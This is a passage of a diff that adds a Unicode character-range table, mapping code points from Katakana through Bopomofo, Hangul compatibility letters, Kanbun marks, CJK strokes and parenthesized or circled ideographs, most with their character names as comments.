+ [0x30d1, 0x30d1], /* KATAKANA LETTER PA */
+ [0x30d2, 0x30d2], /* KATAKANA LETTER HI */
+ [0x30d3, 0x30d3], /* KATAKANA LETTER BI */
+ [0x30d4, 0x30d4], /* KATAKANA LETTER PI */
+ [0x30d5, 0x30d5], /* KATAKANA LETTER HU */
+ [0x30d6, 0x30d6], /* KATAKANA LETTER BU */
+ [0x30d7, 0x30d7], /* KATAKANA LETTER PU */
+ [0x30d8, 0x30d8], /* KATAKANA LETTER HE */
+ [0x30d9, 0x30d9], /* KATAKANA LETTER BE */
+ [0x30da, 0x30da], /* KATAKANA LETTER PE */
+ [0x30db, 0x30db], /* KATAKANA LETTER HO */
+ [0x30dc, 0x30dc], /* KATAKANA LETTER BO */
+ [0x30dd, 0x30dd], /* KATAKANA LETTER PO */
+ [0x30de, 0x30de], /* KATAKANA LETTER MA */
+ [0x30df, 0x30df], /* KATAKANA LETTER MI */
+ [0x30e0, 0x30e0], /* KATAKANA LETTER MU */
+ [0x30e1, 0x30e1], /* KATAKANA LETTER ME */
+ [0x30e2, 0x30e2], /* KATAKANA LETTER MO */
+ [0x30e3, 0x30e3], /* KATAKANA LETTER SMALL YA */
+ [0x30e4, 0x30e4], /* KATAKANA LETTER YA */
+ [0x30e5, 0x30e5], /* KATAKANA LETTER SMALL YU */
+ [0x30e6, 0x30e6], /* KATAKANA LETTER YU */
+ [0x30e7, 0x30e7], /* KATAKANA LETTER SMALL YO */
+ [0x30e8, 0x30e8], /* KATAKANA LETTER YO */
+ [0x30e9, 0x30e9], /* KATAKANA LETTER RA */
+ [0x30ea, 0x30ea], /* KATAKANA LETTER RI */
+ [0x30eb, 0x30eb], /* KATAKANA LETTER RU */
+ [0x30ec, 0x30ec], /* KATAKANA LETTER RE */
+ [0x30ed, 0x30ed], /* KATAKANA LETTER RO */
+ [0x30ee, 0x30ee], /* KATAKANA LETTER SMALL WA */
+ [0x30ef, 0x30ef], /* KATAKANA LETTER WA */
+ [0x30f0, 0x30f0], /* KATAKANA LETTER WI */
+ [0x30f1, 0x30f1], /* KATAKANA LETTER WE */
+ [0x30f2, 0x30f2], /* KATAKANA LETTER WO */
+ [0x30f3, 0x30f3], /* KATAKANA LETTER N */
+ [0x30f4, 0x30f4], /* KATAKANA LETTER VU */
+ [0x30f5, 0x30f5], /* KATAKANA LETTER SMALL KA */
+ [0x30f6, 0x30f6], /* KATAKANA LETTER SMALL KE */
+ [0x30f7, 0x30f7], /* KATAKANA LETTER VA */
+ [0x30f8, 0x30f8], /* KATAKANA LETTER VI */
+ [0x30f9, 0x30f9], /* KATAKANA LETTER VE */
+ [0x30fa, 0x30fa], /* KATAKANA LETTER VO */
+ [0x30fb, 0x30fb], /* KATAKANA MIDDLE DOT */
+ [0x30fc, 0x30fc], /* KATAKANA-HIRAGANA PROLONGED SOUND MARK */
+ [0x30fd, 0x30fd], /* KATAKANA ITERATION MARK */
+ [0x30fe, 0x30fe], /* KATAKANA VOICED ITERATION MARK */
+ [0x30ff, 0x30ff], /* KATAKANA DIGRAPH KOTO */
+ [0x3100, 0x3100],
+ [0x3101, 0x3101],
+ [0x3102, 0x3102],
+ [0x3103, 0x3103],
+ [0x3104, 0x3104],
+ [0x3105, 0x3105], /* BOPOMOFO LETTER B */
+ [0x3106, 0x3106], /* BOPOMOFO LETTER P */
+ [0x3107, 0x3107], /* BOPOMOFO LETTER M */
+ [0x3108, 0x3108], /* BOPOMOFO LETTER F */
+ [0x3109, 0x3109], /* BOPOMOFO LETTER D */
+ [0x310a, 0x310a], /* BOPOMOFO LETTER T */
+ [0x310b, 0x310b], /* BOPOMOFO LETTER N */
+ [0x310c, 0x310c], /* BOPOMOFO LETTER L */
+ [0x310d, 0x310d], /* BOPOMOFO LETTER G */
+ [0x310e, 0x310e], /* BOPOMOFO LETTER K */
+ [0x310f, 0x310f], /* BOPOMOFO LETTER H */
+ [0x3110, 0x3110], /* BOPOMOFO LETTER J */
+ [0x3111, 0x3111], /* BOPOMOFO LETTER Q */
+ [0x3112, 0x3112], /* BOPOMOFO LETTER X */
+ [0x3113, 0x3113], /* BOPOMOFO LETTER ZH */
+ [0x3114, 0x3114], /* BOPOMOFO LETTER CH */
+ [0x3115, 0x3115], /* BOPOMOFO LETTER SH */
+ [0x3116, 0x3116], /* BOPOMOFO LETTER R */
+ [0x3117, 0x3117], /* BOPOMOFO LETTER Z */
+ [0x3118, 0x3118], /* BOPOMOFO LETTER C */
+ [0x3119, 0x3119], /* BOPOMOFO LETTER S */
+ [0x311a, 0x311a], /* BOPOMOFO LETTER A */
+ [0x311b, 0x311b], /* BOPOMOFO LETTER O */
+ [0x311c, 0x311c], /* BOPOMOFO LETTER E */
+ [0x311d, 0x311d], /* BOPOMOFO LETTER EH */
+ [0x311e, 0x311e], /* BOPOMOFO LETTER AI */
+ [0x311f, 0x311f], /* BOPOMOFO LETTER EI */
+ [0x3120, 0x3120], /* BOPOMOFO LETTER AU */
+ [0x3121, 0x3121], /* BOPOMOFO LETTER OU */
+ [0x3122, 0x3122], /* BOPOMOFO LETTER AN */
+ [0x3123, 0x3123], /* BOPOMOFO LETTER EN */
+ [0x3124, 0x3124], /* BOPOMOFO LETTER ANG */
+ [0x3125, 0x3125], /* BOPOMOFO LETTER ENG */
+ [0x3126, 0x3126], /* BOPOMOFO LETTER ER */
+ [0x3127, 0x3127], /* BOPOMOFO LETTER I */
+ [0x3128, 0x3128], /* BOPOMOFO LETTER U */
+ [0x3129, 0x3129], /* BOPOMOFO LETTER IU */
+ [0x312a, 0x312a], /* BOPOMOFO LETTER V */
+ [0x312b, 0x312b], /* BOPOMOFO LETTER NG */
+ [0x312c, 0x312c], /* BOPOMOFO LETTER GN */
+ [0x312d, 0x312d], /* BOPOMOFO LETTER IH */
+ [0x312e, 0x312e],
+ [0x312f, 0x312f],
+ [0x3130, 0x3130],
+ [0x3131, 0x3131], /* HANGUL LETTER KIYEOK (HANGUL LETTER GIYEOG) */
+ [0x3132, 0x3132], /* HANGUL LETTER SSANGKIYEOK (HANGUL LETTER SSANG GIYEOG) */
+ [0x3133, 0x3133], /* HANGUL LETTER KIYEOK-SIOS (HANGUL LETTER GIYEOG SIOS) */
+ [0x3134, 0x3134], /* HANGUL LETTER NIEUN */
+ [0x3135, 0x3135], /* HANGUL LETTER NIEUN-CIEUC (HANGUL LETTER NIEUN JIEUJ) */
+ [0x3136, 0x3136], /* HANGUL LETTER NIEUN-HIEUH (HANGUL LETTER NIEUN HIEUH) */
+ [0x3137, 0x3137], /* HANGUL LETTER TIKEUT (HANGUL LETTER DIGEUD) */
+ [0x3138, 0x3138], /* HANGUL LETTER SSANGTIKEUT (HANGUL LETTER SSANG DIGEUD) */
+ [0x3139, 0x3139], /* HANGUL LETTER RIEUL (HANGUL LETTER LIEUL) */
+ [0x313a, 0x313a], /* HANGUL LETTER RIEUL-KIYEOK (HANGUL LETTER LIEUL GIYEOG) */
+ [0x313b, 0x313b], /* HANGUL LETTER RIEUL-MIEUM (HANGUL LETTER LIEUL MIEUM) */
+ [0x313c, 0x313c], /* HANGUL LETTER RIEUL-PIEUP (HANGUL LETTER LIEUL BIEUB) */
+ [0x313d, 0x313d], /* HANGUL LETTER RIEUL-SIOS (HANGUL LETTER LIEUL SIOS) */
+ [0x313e, 0x313e], /* HANGUL LETTER RIEUL-THIEUTH (HANGUL LETTER LIEUL TIEUT) */
+ [0x313f, 0x313f], /* HANGUL LETTER RIEUL-PHIEUPH (HANGUL LETTER LIEUL PIEUP) */
+ [0x3140, 0x3140], /* HANGUL LETTER RIEUL-HIEUH (HANGUL LETTER LIEUL HIEUH) */
+ [0x3141, 0x3141], /* HANGUL LETTER MIEUM */
+ [0x3142, 0x3142], /* HANGUL LETTER PIEUP (HANGUL LETTER BIEUB) */
+ [0x3143, 0x3143], /* HANGUL LETTER SSANGPIEUP (HANGUL LETTER SSANG BIEUB) */
+ [0x3144, 0x3144], /* HANGUL LETTER PIEUP-SIOS (HANGUL LETTER BIEUB SIOS) */
+ [0x3145, 0x3145], /* HANGUL LETTER SIOS */
+ [0x3146, 0x3146], /* HANGUL LETTER SSANGSIOS (HANGUL LETTER SSANG SIOS) */
+ [0x3147, 0x3147], /* HANGUL LETTER IEUNG */
+ [0x3148, 0x3148], /* HANGUL LETTER CIEUC (HANGUL LETTER JIEUJ) */
+ [0x3149, 0x3149], /* HANGUL LETTER SSANGCIEUC (HANGUL LETTER SSANG JIEUJ) */
+ [0x314a, 0x314a], /* HANGUL LETTER CHIEUCH (HANGUL LETTER CIEUC) */
+ [0x314b, 0x314b], /* HANGUL LETTER KHIEUKH (HANGUL LETTER KIYEOK) */
+ [0x314c, 0x314c], /* HANGUL LETTER THIEUTH (HANGUL LETTER TIEUT) */
+ [0x314d, 0x314d], /* HANGUL LETTER PHIEUPH (HANGUL LETTER PIEUP) */
+ [0x314e, 0x314e], /* HANGUL LETTER HIEUH */
+ [0x314f, 0x314f], /* HANGUL LETTER A */
+ [0x3150, 0x3150], /* HANGUL LETTER AE */
+ [0x3151, 0x3151], /* HANGUL LETTER YA */
+ [0x3152, 0x3152], /* HANGUL LETTER YAE */
+ [0x3153, 0x3153], /* HANGUL LETTER EO */
+ [0x3154, 0x3154], /* HANGUL LETTER E */
+ [0x3155, 0x3155], /* HANGUL LETTER YEO */
+ [0x3156, 0x3156], /* HANGUL LETTER YE */
+ [0x3157, 0x3157], /* HANGUL LETTER O */
+ [0x3158, 0x3158], /* HANGUL LETTER WA */
+ [0x3159, 0x3159], /* HANGUL LETTER WAE */
+ [0x315a, 0x315a], /* HANGUL LETTER OE */
+ [0x315b, 0x315b], /* HANGUL LETTER YO */
+ [0x315c, 0x315c], /* HANGUL LETTER U */
+ [0x315d, 0x315d], /* HANGUL LETTER WEO */
+ [0x315e, 0x315e], /* HANGUL LETTER WE */
+ [0x315f, 0x315f], /* HANGUL LETTER WI */
+ [0x3160, 0x3160], /* HANGUL LETTER YU */
+ [0x3161, 0x3161], /* HANGUL LETTER EU */
+ [0x3162, 0x3162], /* HANGUL LETTER YI */
+ [0x3163, 0x3163], /* HANGUL LETTER I */
+ [0x3164, 0x3164], /* HANGUL FILLER (HANGUL CAE OM) */
+ [0x3165, 0x3165], /* HANGUL LETTER SSANGNIEUN (HANGUL LETTER SSANG NIEUN) */
+ [0x3166, 0x3166], /* HANGUL LETTER NIEUN-TIKEUT (HANGUL LETTER NIEUN DIGEUD) */
+ [0x3167, 0x3167], /* HANGUL LETTER NIEUN-SIOS (HANGUL LETTER NIEUN SIOS) */
+ [0x3168, 0x3168], /* HANGUL LETTER NIEUN-PANSIOS (HANGUL LETTER NIEUN BAN CHI EUM) */
+ [0x3169, 0x3169], /* HANGUL LETTER RIEUL-KIYEOK-SIOS (HANGUL LETTER LIEUL GIYEOG SIOS) */
+ [0x316a, 0x316a], /* HANGUL LETTER RIEUL-TIKEUT (HANGUL LETTER LIEUL DIGEUD) */
+ [0x316b, 0x316b], /* HANGUL LETTER RIEUL-PIEUP-SIOS (HANGUL LETTER LIEUL BIEUB SIOS) */
+ [0x316c, 0x316c], /* HANGUL LETTER RIEUL-PANSIOS (HANGUL LETTER LIEUL BAN CHI EUM) */
+ [0x316d, 0x316d], /* HANGUL LETTER RIEUL-YEORINHIEUH (HANGUL LETTER LIEUL YEOLIN HIEUH) */
+ [0x316e, 0x316e], /* HANGUL LETTER MIEUM-PIEUP (HANGUL LETTER MIEUM BIEUB) */
+ [0x316f, 0x316f], /* HANGUL LETTER MIEUM-SIOS (HANGUL LETTER MIEUM SIOS) */
+ [0x3170, 0x3170], /* HANGUL LETTER MIEUM-PANSIOS (HANGUL LETTER BIEUB BAN CHI EUM) */
+ [0x3171, 0x3171], /* HANGUL LETTER KAPYEOUNMIEUM (HANGUL LETTER MIEUM SUN GYEONG EUM) */
+ [0x3172, 0x3172], /* HANGUL LETTER PIEUP-KIYEOK (HANGUL LETTER BIEUB GIYEOG) */
+ [0x3173, 0x3173], /* HANGUL LETTER PIEUP-TIKEUT (HANGUL LETTER BIEUB DIGEUD) */
+ [0x3174, 0x3174], /* HANGUL LETTER PIEUP-SIOS-KIYEOK (HANGUL LETTER BIEUB SIOS GIYEOG) */
+ [0x3175, 0x3175], /* HANGUL LETTER PIEUP-SIOS-TIKEUT (HANGUL LETTER BIEUB SIOS DIGEUD) */
+ [0x3176, 0x3176], /* HANGUL LETTER PIEUP-CIEUC (HANGUL LETTER BIEUB JIEUJ) */
+ [0x3177, 0x3177], /* HANGUL LETTER PIEUP-THIEUTH (HANGUL LETTER BIEUB TIEUT) */
+ [0x3178, 0x3178], /* HANGUL LETTER KAPYEOUNPIEUP (HANGUL LETTER BIEUB SUN GYEONG EUM) */
+ [0x3179, 0x3179], /* HANGUL LETTER KAPYEOUNSSANGPIEUP (HANGUL LETTER SSANG BIEUB SUN GYEONG EUM) */
+ [0x317a, 0x317a], /* HANGUL LETTER SIOS-KIYEOK (HANGUL LETTER SIOS GIYEOG) */
+ [0x317b, 0x317b], /* HANGUL LETTER SIOS-NIEUN (HANGUL LETTER SIOS NIEUN) */
+ [0x317c, 0x317c], /* HANGUL LETTER SIOS-TIKEUT (HANGUL LETTER SIOS DIGEUD) */
+ [0x317d, 0x317d], /* HANGUL LETTER SIOS-PIEUP (HANGUL LETTER SIOS BIEUB) */
+ [0x317e, 0x317e], /* HANGUL LETTER SIOS-CIEUC (HANGUL LETTER SIOS JIEUJ) */
+ [0x317f, 0x317f], /* HANGUL LETTER PANSIOS (HANGUL LETTER BAN CHI EUM) */
+ [0x3180, 0x3180], /* HANGUL LETTER SSANGIEUNG (HANGUL LETTER SSANG IEUNG) */
+ [0x3181, 0x3181], /* HANGUL LETTER YESIEUNG (HANGUL LETTER NGIEUNG) */
+ [0x3182, 0x3182], /* HANGUL LETTER YESIEUNG-SIOS (HANGUL LETTER NGIEUNG SIOS) */
+ [0x3183, 0x3183], /* HANGUL LETTER YESIEUNG-PANSIOS (HANGUL LETTER NGIEUNG BAN CHI EUM) */
+ [0x3184, 0x3184], /* HANGUL LETTER KAPYEOUNPHIEUPH (HANGUL LETTER PIEUP SUN GYEONG EUM) */
+ [0x3185, 0x3185], /* HANGUL LETTER SSANGHIEUH (HANGUL LETTER SSANG HIEUH) */
+ [0x3186, 0x3186], /* HANGUL LETTER YEORINHIEUH (HANGUL LETTER YEOLIN HIEUH) */
+ [0x3187, 0x3187], /* HANGUL LETTER YO-YA (HANGUL LETTER YOYA) */
+ [0x3188, 0x3188], /* HANGUL LETTER YO-YAE (HANGUL LETTER YOYAE) */
+ [0x3189, 0x3189], /* HANGUL LETTER YO-I (HANGUL LETTER YOI) */
+ [0x318a, 0x318a], /* HANGUL LETTER YU-YEO (HANGUL LETTER YUYEO) */
+ [0x318b, 0x318b], /* HANGUL LETTER YU-YE (HANGUL LETTER YUYE) */
+ [0x318c, 0x318c], /* HANGUL LETTER YU-I (HANGUL LETTER YUI) */
+ [0x318d, 0x318d], /* HANGUL LETTER ARAEA (HANGUL LETTER ALAE A) */
+ [0x318e, 0x318e], /* HANGUL LETTER ARAEAE (HANGUL LETTER ALAE AE) */
+ [0x318f, 0x318f],
+ [0x3190, 0x3190], /* IDEOGRAPHIC ANNOTATION LINKING MARK (KANBUN TATETEN) */
+ [0x3191, 0x3191], /* IDEOGRAPHIC ANNOTATION REVERSE MARK (KAERITEN RE) */
+ [0x3192, 0x3192], /* IDEOGRAPHIC ANNOTATION ONE MARK (KAERITEN ITI) */
+ [0x3193, 0x3193], /* IDEOGRAPHIC ANNOTATION TWO MARK (KAERITEN NI) */
+ [0x3194, 0x3194], /* IDEOGRAPHIC ANNOTATION THREE MARK (KAERITEN SAN) */
+ [0x3195, 0x3195], /* IDEOGRAPHIC ANNOTATION FOUR MARK (KAERITEN SI) */
+ [0x3196, 0x3196], /* IDEOGRAPHIC ANNOTATION TOP MARK (KAERITEN ZYOU) */
+ [0x3197, 0x3197], /* IDEOGRAPHIC ANNOTATION MIDDLE MARK (KAERITEN TYUU) */
+ [0x3198, 0x3198], /* IDEOGRAPHIC ANNOTATION BOTTOM MARK (KAERITEN GE) */
+ [0x3199, 0x3199], /* IDEOGRAPHIC ANNOTATION FIRST MARK (KAERITEN KOU) */
+ [0x319a, 0x319a], /* IDEOGRAPHIC ANNOTATION SECOND MARK (KAERITEN OTU) */
+ [0x319b, 0x319b], /* IDEOGRAPHIC ANNOTATION THIRD MARK (KAERITEN HEI) */
+ [0x319c, 0x319c], /* IDEOGRAPHIC ANNOTATION FOURTH MARK (KAERITEN TEI) */
+ [0x319d, 0x319d], /* IDEOGRAPHIC ANNOTATION HEAVEN MARK (KAERITEN TEN) */
+ [0x319e, 0x319e], /* IDEOGRAPHIC ANNOTATION EARTH MARK (KAERITEN TI) */
+ [0x319f, 0x319f], /* IDEOGRAPHIC ANNOTATION MAN MARK (KAERITEN ZIN) */
+ [0x31a0, 0x31a0], /* BOPOMOFO LETTER BU */
+ [0x31a1, 0x31a1], /* BOPOMOFO LETTER ZI */
+ [0x31a2, 0x31a2], /* BOPOMOFO LETTER JI */
+ [0x31a3, 0x31a3], /* BOPOMOFO LETTER GU */
+ [0x31a4, 0x31a4], /* BOPOMOFO LETTER EE */
+ [0x31a5, 0x31a5], /* BOPOMOFO LETTER ENN */
+ [0x31a6, 0x31a6], /* BOPOMOFO LETTER OO */
+ [0x31a7, 0x31a7], /* BOPOMOFO LETTER ONN */
+ [0x31a8, 0x31a8], /* BOPOMOFO LETTER IR */
+ [0x31a9, 0x31a9], /* BOPOMOFO LETTER ANN */
+ [0x31aa, 0x31aa], /* BOPOMOFO LETTER INN */
+ [0x31ab, 0x31ab], /* BOPOMOFO LETTER UNN */
+ [0x31ac, 0x31ac], /* BOPOMOFO LETTER IM */
+ [0x31ad, 0x31ad], /* BOPOMOFO LETTER NGG */
+ [0x31ae, 0x31ae], /* BOPOMOFO LETTER AINN */
+ [0x31af, 0x31af], /* BOPOMOFO LETTER AUNN */
+ [0x31b0, 0x31b0], /* BOPOMOFO LETTER AM */
+ [0x31b1, 0x31b1], /* BOPOMOFO LETTER OM */
+ [0x31b2, 0x31b2], /* BOPOMOFO LETTER ONG */
+ [0x31b3, 0x31b3], /* BOPOMOFO LETTER INNN */
+ [0x31b4, 0x31b4], /* BOPOMOFO FINAL LETTER P */
+ [0x31b5, 0x31b5], /* BOPOMOFO FINAL LETTER T */
+ [0x31b6, 0x31b6], /* BOPOMOFO FINAL LETTER K */
+ [0x31b7, 0x31b7], /* BOPOMOFO FINAL LETTER H */
+ [0x31b8, 0x31b8], /* BOPOMOFO LETTER GH */
+ [0x31b9, 0x31b9], /* BOPOMOFO LETTER LH */
+ [0x31ba, 0x31ba], /* BOPOMOFO LETTER ZY */
+ [0x31bb, 0x31bb],
+ [0x31bc, 0x31bc],
+ [0x31bd, 0x31bd],
+ [0x31be, 0x31be],
+ [0x31bf, 0x31bf],
+ [0x31c0, 0x31c0], /* CJK STROKE T */
+ [0x31c1, 0x31c1], /* CJK STROKE WG */
+ [0x31c2, 0x31c2], /* CJK STROKE XG */
+ [0x31c3, 0x31c3], /* CJK STROKE BXG */
+ [0x31c4, 0x31c4], /* CJK STROKE SW */
+ [0x31c5, 0x31c5], /* CJK STROKE HZZ */
+ [0x31c6, 0x31c6], /* CJK STROKE HZG */
+ [0x31c7, 0x31c7], /* CJK STROKE HP */
+ [0x31c8, 0x31c8], /* CJK STROKE HZWG */
+ [0x31c9, 0x31c9], /* CJK STROKE SZWG */
+ [0x31ca, 0x31ca], /* CJK STROKE HZT */
+ [0x31cb, 0x31cb], /* CJK STROKE HZZP */
+ [0x31cc, 0x31cc], /* CJK STROKE HPWG */
+ [0x31cd, 0x31cd], /* CJK STROKE HZW */
+ [0x31ce, 0x31ce], /* CJK STROKE HZZZ */
+ [0x31cf, 0x31cf], /* CJK STROKE N */
+ [0x31d0, 0x31d0], /* CJK STROKE H */
+ [0x31d1, 0x31d1], /* CJK STROKE S */
+ [0x31d2, 0x31d2], /* CJK STROKE P */
+ [0x31d3, 0x31d3], /* CJK STROKE SP */
+ [0x31d4, 0x31d4], /* CJK STROKE D */
+ [0x31d5, 0x31d5], /* CJK STROKE HZ */
+ [0x31d6, 0x31d6], /* CJK STROKE HG */
+ [0x31d7, 0x31d7], /* CJK STROKE SZ */
+ [0x31d8, 0x31d8], /* CJK STROKE SWZ */
+ [0x31d9, 0x31d9], /* CJK STROKE ST */
+ [0x31da, 0x31da], /* CJK STROKE SG */
+ [0x31db, 0x31db], /* CJK STROKE PD */
+ [0x31dc, 0x31dc], /* CJK STROKE PZ */
+ [0x31dd, 0x31dd], /* CJK STROKE TN */
+ [0x31de, 0x31de], /* CJK STROKE SZZ */
+ [0x31df, 0x31df], /* CJK STROKE SWG */
+ [0x31e0, 0x31e0], /* CJK STROKE HXWG */
+ [0x31e1, 0x31e1], /* CJK STROKE HZZZG */
+ [0x31e2, 0x31e2], /* CJK STROKE PG */
+ [0x31e3, 0x31e3], /* CJK STROKE Q */
+ [0x31e4, 0x31e4],
+ [0x31e5, 0x31e5],
+ [0x31e6, 0x31e6],
+ [0x31e7, 0x31e7],
+ [0x31e8, 0x31e8],
+ [0x31e9, 0x31e9],
+ [0x31ea, 0x31ea],
+ [0x31eb, 0x31eb],
+ [0x31ec, 0x31ec],
+ [0x31ed, 0x31ed],
+ [0x31ee, 0x31ee],
+ [0x31ef, 0x31ef],
+ [0x31f0, 0x31f0], /* KATAKANA LETTER SMALL KU */
+ [0x31f1, 0x31f1], /* KATAKANA LETTER SMALL SI */
+ [0x31f2, 0x31f2], /* KATAKANA LETTER SMALL SU */
+ [0x31f3, 0x31f3], /* KATAKANA LETTER SMALL TO */
+ [0x31f4, 0x31f4], /* KATAKANA LETTER SMALL NU */
+ [0x31f5, 0x31f5], /* KATAKANA LETTER SMALL HA */
+ [0x31f6, 0x31f6], /* KATAKANA LETTER SMALL HI */
+ [0x31f7, 0x31f7], /* KATAKANA LETTER SMALL HU */
+ [0x31f8, 0x31f8], /* KATAKANA LETTER SMALL HE */
+ [0x31f9, 0x31f9], /* KATAKANA LETTER SMALL HO */
+ [0x31fa, 0x31fa], /* KATAKANA LETTER SMALL MU */
+ [0x31fb, 0x31fb], /* KATAKANA LETTER SMALL RA */
+ [0x31fc, 0x31fc], /* KATAKANA LETTER SMALL RI */
+ [0x31fd, 0x31fd], /* KATAKANA LETTER SMALL RU */
+ [0x31fe, 0x31fe], /* KATAKANA LETTER SMALL RE */
+ [0x31ff, 0x31ff], /* KATAKANA LETTER SMALL RO */
+ [0x3200, 0x3200], /* PARENTHESIZED HANGUL KIYEOK (PARENTHESIZED HANGUL GIYEOG) */
+ [0x3201, 0x3201], /* PARENTHESIZED HANGUL NIEUN */
+ [0x3202, 0x3202], /* PARENTHESIZED HANGUL TIKEUT (PARENTHESIZED HANGUL DIGEUD) */
+ [0x3203, 0x3203], /* PARENTHESIZED HANGUL RIEUL (PARENTHESIZED HANGUL LIEUL) */
+ [0x3204, 0x3204], /* PARENTHESIZED HANGUL MIEUM */
+ [0x3205, 0x3205], /* PARENTHESIZED HANGUL PIEUP (PARENTHESIZED HANGUL BIEUB) */
+ [0x3206, 0x3206], /* PARENTHESIZED HANGUL SIOS */
+ [0x3207, 0x3207], /* PARENTHESIZED HANGUL IEUNG */
+ [0x3208, 0x3208], /* PARENTHESIZED HANGUL CIEUC (PARENTHESIZED HANGUL JIEUJ) */
+ [0x3209, 0x3209], /* PARENTHESIZED HANGUL CHIEUCH (PARENTHESIZED HANGUL CIEUC) */
+ [0x320a, 0x320a], /* PARENTHESIZED HANGUL KHIEUKH (PARENTHESIZED HANGUL KIYEOK) */
+ [0x320b, 0x320b], /* PARENTHESIZED HANGUL THIEUTH (PARENTHESIZED HANGUL TIEUT) */
+ [0x320c, 0x320c], /* PARENTHESIZED HANGUL PHIEUPH (PARENTHESIZED HANGUL PIEUP) */
+ [0x320d, 0x320d], /* PARENTHESIZED HANGUL HIEUH */
+ [0x320e, 0x320e], /* PARENTHESIZED HANGUL KIYEOK A (PARENTHESIZED HANGUL GA) */
+ [0x320f, 0x320f], /* PARENTHESIZED HANGUL NIEUN A (PARENTHESIZED HANGUL NA) */
+ [0x3210, 0x3210], /* PARENTHESIZED HANGUL TIKEUT A (PARENTHESIZED HANGUL DA) */
+ [0x3211, 0x3211], /* PARENTHESIZED HANGUL RIEUL A (PARENTHESIZED HANGUL LA) */
+ [0x3212, 0x3212], /* PARENTHESIZED HANGUL MIEUM A (PARENTHESIZED HANGUL MA) */
+ [0x3213, 0x3213], /* PARENTHESIZED HANGUL PIEUP A (PARENTHESIZED HANGUL BA) */
+ [0x3214, 0x3214], /* PARENTHESIZED HANGUL SIOS A (PARENTHESIZED HANGUL SA) */
+ [0x3215, 0x3215], /* PARENTHESIZED HANGUL IEUNG A (PARENTHESIZED HANGUL A) */
+ [0x3216, 0x3216], /* PARENTHESIZED HANGUL CIEUC A (PARENTHESIZED HANGUL JA) */
+ [0x3217, 0x3217], /* PARENTHESIZED HANGUL CHIEUCH A (PARENTHESIZED HANGUL CA) */
+ [0x3218, 0x3218], /* PARENTHESIZED HANGUL KHIEUKH A (PARENTHESIZED HANGUL KA) */
+ [0x3219, 0x3219], /* PARENTHESIZED HANGUL THIEUTH A (PARENTHESIZED HANGUL TA) */
+ [0x321a, 0x321a], /* PARENTHESIZED HANGUL PHIEUPH A (PARENTHESIZED HANGUL PA) */
+ [0x321b, 0x321b], /* PARENTHESIZED HANGUL HIEUH A (PARENTHESIZED HANGUL HA) */
+ [0x321c, 0x321c], /* PARENTHESIZED HANGUL CIEUC U (PARENTHESIZED HANGUL JU) */
+ [0x321d, 0x321d], /* PARENTHESIZED KOREAN CHARACTER OJEON */
+ [0x321e, 0x321e], /* PARENTHESIZED KOREAN CHARACTER O HU */
+ [0x321f, 0x321f],
+ [0x3220, 0x3220], /* PARENTHESIZED IDEOGRAPH ONE */
+ [0x3221, 0x3221], /* PARENTHESIZED IDEOGRAPH TWO */
+ [0x3222, 0x3222], /* PARENTHESIZED IDEOGRAPH THREE */
+ [0x3223, 0x3223], /* PARENTHESIZED IDEOGRAPH FOUR */
+ [0x3224, 0x3224], /* PARENTHESIZED IDEOGRAPH FIVE */
+ [0x3225, 0x3225], /* PARENTHESIZED IDEOGRAPH SIX */
+ [0x3226, 0x3226], /* PARENTHESIZED IDEOGRAPH SEVEN */
+ [0x3227, 0x3227], /* PARENTHESIZED IDEOGRAPH EIGHT */
+ [0x3228, 0x3228], /* PARENTHESIZED IDEOGRAPH NINE */
+ [0x3229, 0x3229], /* PARENTHESIZED IDEOGRAPH TEN */
+ [0x322a, 0x322a], /* PARENTHESIZED IDEOGRAPH MOON */
+ [0x322b, 0x322b], /* PARENTHESIZED IDEOGRAPH FIRE */
+ [0x322c, 0x322c], /* PARENTHESIZED IDEOGRAPH WATER */
+ [0x322d, 0x322d], /* PARENTHESIZED IDEOGRAPH WOOD */
+ [0x322e, 0x322e], /* PARENTHESIZED IDEOGRAPH METAL */
+ [0x322f, 0x322f], /* PARENTHESIZED IDEOGRAPH EARTH */
+ [0x3230, 0x3230], /* PARENTHESIZED IDEOGRAPH SUN */
+ [0x3231, 0x3231], /* PARENTHESIZED IDEOGRAPH STOCK */
+ [0x3232, 0x3232], /* PARENTHESIZED IDEOGRAPH HAVE */
+ [0x3233, 0x3233], /* PARENTHESIZED IDEOGRAPH SOCIETY */
+ [0x3234, 0x3234], /* PARENTHESIZED IDEOGRAPH NAME */
+ [0x3235, 0x3235], /* PARENTHESIZED IDEOGRAPH SPECIAL */
+ [0x3236, 0x3236], /* PARENTHESIZED IDEOGRAPH FINANCIAL */
+ [0x3237, 0x3237], /* PARENTHESIZED IDEOGRAPH CONGRATULATION */
+ [0x3238, 0x3238], /* PARENTHESIZED IDEOGRAPH LABOR */
+ [0x3239, 0x3239], /* PARENTHESIZED IDEOGRAPH REPRESENT */
+ [0x323a, 0x323a], /* PARENTHESIZED IDEOGRAPH CALL */
+ [0x323b, 0x323b], /* PARENTHESIZED IDEOGRAPH STUDY */
+ [0x323c, 0x323c], /* PARENTHESIZED IDEOGRAPH SUPERVISE */
+ [0x323d, 0x323d], /* PARENTHESIZED IDEOGRAPH ENTERPRISE */
+ [0x323e, 0x323e], /* PARENTHESIZED IDEOGRAPH RESOURCE */
+ [0x323f, 0x323f], /* PARENTHESIZED IDEOGRAPH ALLIANCE */
+ [0x3240, 0x3240], /* PARENTHESIZED IDEOGRAPH FESTIVAL */
+ [0x3241, 0x3241], /* PARENTHESIZED IDEOGRAPH REST */
+ [0x3242, 0x3242], /* PARENTHESIZED IDEOGRAPH SELF */
+ [0x3243, 0x3243], /* PARENTHESIZED IDEOGRAPH REACH */
+ [0x3244, 0x3244], /* CIRCLED IDEOGRAPH QUESTION */
+ [0x3245, 0x3245], /* CIRCLED IDEOGRAPH KINDERGARTEN */
+ [0x3246, 0x3246], /* CIRCLED IDEOGRAPH SCHOOL */
+ [0x3247, 0x3247], /* CIRCLED IDEOGRAPH KOTO */
+ [0x3248, 0x3248], /* CIRCLED NUMBER TEN ON BLACK SQUARE */
+ [0x3249, 0x3249], /* CIRCLED NUMBER TWENTY ON BLACK SQUARE */
+ [0x324a, 0x324a], /* CIRCLED NUMBER THIRTY ON BLACK SQUARE */
+ [0x324b, 0x324b], /* CIRCLED NUMBER FORTY ON BLACK SQUARE */
+ [0x324c, 0x324c], /* CIRCLED NUMBER FIFTY ON BLACK SQUARE */
+ [0x324d, 0x324d], /* CIRCLED NUMBER SIXTY ON BLACK SQUARE */
+ [0x324e, 0x324e], /* CIRCLED NUMBER SEVENTY ON BLACK SQUARE */
